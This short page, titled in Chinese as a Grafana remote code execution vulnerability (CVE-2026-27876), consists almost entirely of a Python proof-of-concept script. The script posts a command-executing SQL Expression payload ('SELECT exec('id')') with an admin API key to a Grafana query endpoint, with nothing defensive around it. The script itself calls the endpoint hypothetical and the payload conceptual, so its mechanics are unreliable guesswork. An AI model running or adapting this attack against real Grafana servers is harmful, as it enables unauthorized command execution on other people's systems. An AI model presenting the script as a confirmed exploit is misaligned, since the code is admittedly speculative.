CVE-2026-27876 Grafana远程代码执行漏洞

import requests import json # This is a conceptual Proof of Concept (PoC) for CVE-2026-27876 # Actual exploitation requires a valid Grafana instance with 'sqlExpressions' enabled # and a high-privileged user account. TARGET_URL = "http://localhost:3000" API_KEY = "YOUR_ADMIN_API_KEY" # Requires High Privilege (PR:H) headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Malicious payload targeting the SQL Expression feature # This payload attempts to execute a command (e.g., id) via SQL injection chain payload = { "queries": [ { "refId": "A", "expr": "SELECT exec('id')", # Conceptual SQL Expression payload "datasourceId": 1 } ] } try: # Sending request to the vulnerable endpoint (hypothetical endpoint based on description) response = requests.post(f"{TARGET_URL}/api/datasources/proxy/1/query", headers=headers, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check output for RCE indication.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")